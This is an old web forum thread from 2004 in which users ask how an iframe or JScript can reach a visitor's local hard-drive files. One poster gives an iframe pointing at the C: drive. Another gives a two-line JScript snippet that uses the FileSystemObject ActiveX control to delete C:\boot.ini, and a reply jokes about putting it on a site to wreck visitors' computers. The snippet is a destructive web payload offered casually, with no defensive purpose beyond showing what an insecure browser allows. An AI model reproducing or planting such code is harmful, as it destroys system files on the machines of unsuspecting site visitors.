Page 1 of 1

IFrame code to see hard drive files???

Posted: January 16th, 2004, 1:05 am
by ccb056
What is the code that uses either iframe or jscript to view hdd files?

Posted: January 16th, 2004, 1:07 am
by ccb056
testing
<iframe src="file:\\\C:\" width="90%" height="200"></iframe>

Posted: January 16th, 2004, 1:33 am
by Smartweb
Your example will work. There is a way in Jscript to get access to the File System but it only works in good ole insecure IE.

Posted: January 16th, 2004, 1:37 am
by ccb056
what is it?

Posted: January 16th, 2004, 1:38 am
by Smartweb
var fso = new ActiveXObject("Scripting.FileSystemObject")
fso.DeleteFile("C:\boot.ini");

there's one good example.

Posted: January 16th, 2004, 3:21 am
by neo
ha.... put that on ur site Smartweb.... Screw up everyones computerr!!!!

Posted: January 16th, 2004, 11:20 pm
by Smartweb
It only works in IE, mainly because IE is the most insecure browser. BTW, this post is directed to all you IE users out there. See what can be done with your browser.